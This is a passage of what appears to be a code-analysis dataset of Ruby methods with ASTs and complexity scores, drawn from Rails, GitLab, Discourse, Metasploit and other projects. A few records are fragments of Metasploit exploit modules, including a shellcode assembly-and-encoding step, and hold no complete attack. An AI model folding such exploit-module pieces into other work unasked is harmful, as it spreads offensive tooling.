\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"X86\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"combined_asm\"]}]},\"encode_string\"]}]}]}","id":"3dccd1d1-54b4-4392-909a-8a193a9e08b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/offset_header_builder.rb","start_line":59,"raw_source":"def page_href(next_page_params = {})\n        query_params = params.merge(**next_page_params, per_page: per_page).to_query\n\n        build_page_url(query_params: query_params)\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"page_href\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"next_page_params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_page_params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"send\",\"children\":[null,\"per_page\"]}]}]}]},\"to_query\"]}]},{\"type\":\"send\",\"children\":[null,\"build_page_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_params\"]},{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]}]}]}]}","id":"e6f59dd5-54b4-485a-824c-a6d186d53aae"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh/save_inventory_helper.rb","start_line":6,"raw_source":"def initialize(records, find_key)\n      # Save the columns associated with the find keys, so we can coerce the hash values during fetch\n      if records.first\n        model = records.first.class\n        @key_attribute_types = find_key.map { |k| model.type_for_attribute(k) }\n      else\n        @key_attribute_types = []\n      end\n\n      # Index the records by the values from the find_key\n      @record_index = records.each_with_object({}) do |r, h|\n        h.store_path(find_key.collect { |k| r.send(k) }, r)\n      end\n\n      @find_key = find_key\n    end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"records\"]},{\"type\":\"arg\",\"children\":[\"find_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"first\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"first\"]},\"class\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@key_attribute_types\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"find_key\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"type_for_attribute\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@key_attribute_types\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@record_index\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"store_path\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"find_key\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@find_key\",{\"type\":\"lvar\",\"children\":[\"find_key\"]}]}]}]}","id":"18b229a4-d18f-4a59-854c-5214668a2c86"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/ui/message.rb","start_line":7,"raw_source":"def print_error(msg='', prefix: nil)\n    msg_prefix = prefix.nil? ? print_prefix : prefix\n    super(msg_prefix + msg)\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"print_error\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"prefix\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg_prefix\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"print_prefix\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg_prefix\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"50c2fd2f-ad0d-494b-913b-c012b4cfd6a1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/commits/create_service.rb","start_line":74,"raw_source":"def validate_permissions!\n      allowed = ::Gitlab::UserAccess.new(current_user, container: project).can_push_to_branch?(@branch_name)\n\n      unless allowed\n        raise_error(\"You are not allowed to push into this branch\")\n      end\n    end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_permissions!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"allowed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"UserAccess\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},\"can_push_to_branch?\",{\"type\":\"ivar\",\"children\":[\"@branch_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed\"]},null,{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"str\",\"children\":[\"You are not allowed to push into this branch\"]}]}]}]}]}","id":"3d44ba1e-3532-4c71-beba-88c275441535"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/web_browser.rb","start_line":59,"raw_source":"def extract_main_content(html)\n          doc = Nokogiri.HTML(html)\n          doc.search(\"script, style, comment\").remove\n\n          main_content = find_main_content(doc)\n          main_content ||= doc.at(\"body\")\n\n          buffer = +\"\"\n          nodes_to_text(main_content, buffer)\n\n          buffer.gsub(/\\s+/, \" \")\n        end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_main_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\",{\"type\":\"lvar\",\"children\":[\"html\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"search\",{\"type\":\"str\",\"children\":[\"script, style, comment\"]}]},\"remove\"]},{\"type\":\"lvasgn\",\"children\":[\"main_content\",{\"type\":\"send\",\"children\":[null,\"find_main_content\",{\"type\":\"lvar\",\"children\":[\"doc\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"main_content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"at\",{\"type\":\"str\",\"children\":[\"body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[null,\"nodes_to_text\",{\"type\":\"lvar\",\"children\":[\"main_content\"]},{\"type\":\"lvar\",\"children\":[\"buffer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"f51996ed-d02b-47c1-9aff-68133a273f73"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/support/convert_mysql_xml_to_mysql.rb","start_line":42,"raw_source":"def end_element(name)\n    old = @stack.pop\n    cur = @stack[-1]\n\n    if name == :field && cur[:elem] == :row\n      (cur[:row_data] ||= {})[old[:attrs][:name]] = old[:text]\n    elsif name == :row && cur[:elem] == :table_data\n      create_insert_statement(old)\n    elsif name == :field && cur[:elem] == :table_structure\n      (cur[:cols] ||= []) << old\n    elsif name == :table_structure\n      output_table_definition(old)\n      @tables[old[:name]] = old\n    end\n  end","complexity_score":36.2,"ast_json":"{\"type\":\"def\",\"children\":[\"end_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stack\"]},\"pop\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cur\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stack\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cur\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"elem\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"row\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cur\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"row_data\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attrs\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cur\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"elem\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"table_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_insert_statement\",{\"type\":\"lvar\",\"children\":[\"old\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cur\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"elem\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"table_structure\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cur\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cols\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"old\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"table_structure\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output_table_definition\",{\"type\":\"lvar\",\"children\":[\"old\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tables\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"lvar\",\"children\":[\"old\"]}]}]},null]}]}]}]}]}]}","id":"a0b98277-7ba2-41cf-82e0-b06d5ef36edd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/review.rb","start_line":21,"raw_source":"def all_references(current_user = nil, extractor: nil)\n    ext = super\n\n    notes.each do |note|\n      note.all_references(current_user, extractor: ext)\n    end\n\n    ext\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"all_references\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"extractor\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ext\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"all_references\",{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extractor\"]},{\"type\":\"lvar\",\"children\":[\"ext\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"ext\"]}]}]}","id":"66958f2a-9eee-492d-8135-b692db5397fe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/jira_connect/branches_spec.rb","start_line":23,"raw_source":"def within_project_listbox(&block)\n    within('#project-select', &block)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"within_project_listbox\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\"#project-select\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"6a8281d7-40af-4243-bc97-f31bb3f17faa"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/drop_test.rb","start_line":167,"raw_source":"def test_object_methods_not_allowed\n    [:dup, :clone, :singleton_class, :eval, :class_eval, :inspect].each do |method|\n      output = Liquid::Template.parse(\" {{ product.#{method} }} \").render!('product' => ProductDrop.new)\n      assert_equal('  ', output)\n    end\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_object_methods_not_allowed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dup\"]},{\"type\":\"sym\",\"children\":[\"clone\"]},{\"type\":\"sym\",\"children\":[\"singleton_class\"]},{\"type\":\"sym\",\"children\":[\"eval\"]},{\"type\":\"sym\",\"children\":[\"class_eval\"]},{\"type\":\"sym\",\"children\":[\"inspect\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" {{ product.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\" }} \"]}]}]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"product\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProductDrop\"]},\"new\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]}","id":"2b6f6255-03c6-4363-ae32-63e8c1e8c9ed"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_password.rb","start_line":65,"raw_source":"def regen_password!(pw)\n    # Regenerate password_hash with new algorithm and persist, we skip validation here since it has already run once when the hash was persisted the first time\n    salt = SecureRandom.hex(PASSWORD_SALT_LENGTH)\n    update_columns(\n      password_algorithm: TARGET_PASSWORD_ALGORITHM,\n      password_salt: salt,\n      password_hash: hash_password(pw, salt, TARGET_PASSWORD_ALGORITHM),\n    )\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"regen_password!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pw\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"salt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"const\",\"children\":[null,\"PASSWORD_SALT_LENGTH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password_algorithm\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_PASSWORD_ALGORITHM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password_salt\"]},{\"type\":\"lvar\",\"children\":[\"salt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password_hash\"]},{\"type\":\"send\",\"children\":[null,\"hash_password\",{\"type\":\"lvar\",\"children\":[\"pw\"]},{\"type\":\"lvar\",\"children\":[\"salt\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_PASSWORD_ALGORITHM\"]}]}]}]}]}]}]}","id":"75b63538-0d13-4eff-ab7a-7bf567bb3675"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sidekiq_config/worker_router_spec.rb","start_line":10,"raw_source":"def create_worker(name, namespace = nil)\n      Class.new.tap do |worker|\n        worker.define_singleton_method(:name) { name }\n        worker.define_singleton_method(:queue_namespace) { namespace }\n      end\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_worker\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"namespace\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"queue_namespace\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}]}","id":"cf8c25c4-7576-4038-b43c-5dcf923b0758"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/strict_loading_test.rb","start_line":358,"raw_source":"def test_preload_audit_logs_are_strict_loading_because_parent_is_strict_loading\n    developer = Developer.first\n\n    3.times do\n      AuditLog.create(developer: developer, message: \"I am message\")\n    end\n\n    dev = Developer.includes(:audit_logs).strict_loading.first\n\n    assert_predicate dev, :strict_loading?\n    assert dev.audit_logs.all?(&:strict_loading?), \"Expected all audit logs to be strict_loading\"\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preload_audit_logs_are_strict_loading_because_parent_is_strict_loading\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"first\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuditLog\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"developer\"]},{\"type\":\"lvar\",\"children\":[\"developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"I am message\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dev\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"audit_logs\"]}]},\"strict_loading\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"dev\"]},{\"type\":\"sym\",\"children\":[\"strict_loading?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev\"]},\"audit_logs\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strict_loading?\"]}]}]},{\"type\":\"str\",\"children\":[\"Expected all audit logs to be strict_loading\"]}]}]}]}","id":"859859c5-d779-4da9-805c-80e785e7eca6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/triggers_controller.rb","start_line":76,"raw_source":"def trigger\n    @trigger ||= project.triggers.find(params[:id])\n      .present(current_user: current_user)\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@trigger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"triggers\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"present\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}","id":"8c53da31-11fb-4be4-8b46-69a815ac447e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ie_execcommand_uaf.rb","start_line":307,"raw_source":"def this_resource\n    r = get_resource\n    return (r == '/') ? '' : r\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"this_resource\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]}]}","id":"ad168444-402d-4c0c-87fa-3c15758198dd"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/inspector.rb","start_line":315,"raw_source":"def section(routes)\n        @buffer << @view.render(partial: \"routes/route\", collection: routes)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"section\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"routes/route\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"collection\"]},{\"type\":\"lvar\",\"children\":[\"routes\"]}]}]}]}]}]}","id":"cad8822c-c045-41e2-a2d6-b7be6ddb2479"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/polymorphic_routes_test.rb","start_line":415,"raw_source":"def test_nesting_with_array_ending_in_singleton_resource\n    with_test_routes do\n      @project.save\n      assert_url \"http://example.com/projects/#{@project.id}/bid\", [@project, :bid]\n    end\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nesting_with_array_ending_in_singleton_resource\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_routes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://example.com/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/bid\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"sym\",\"children\":[\"bid\"]}]}]}]}]}]}","id":"81e59364-7283-44e3-9e74-7d02a02ddbb3"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/device_manager.rb","start_line":236,"raw_source":"def disable_slide_to_type\n        return unless is_simulator\n        return unless os_type == \"iOS\"\n        return unless Gem::Version.new(os_version) >= Gem::Version.new('13.0')\n        UI.message(\"Disabling 'Slide to Type' #{self}\")\n\n        plist_buddy = '/usr/libexec/PlistBuddy'\n        plist_buddy_cmd = \"-c \\\"Add :KeyboardContinuousPathEnabled bool false\\\"\"\n        plist_path = File.expand_path(\"~/Library/Developer/CoreSimulator/Devices/#{self.udid}/data/Library/Preferences/com.apple.keyboard.ContinuousPath.plist\")\n\n        Helper.backticks(\"#{plist_buddy} #{plist_buddy_cmd} #{plist_path} >/dev/null 2>&1\")\n      end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_slide_to_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_simulator\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"os_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"iOS\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"os_version\"]}]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\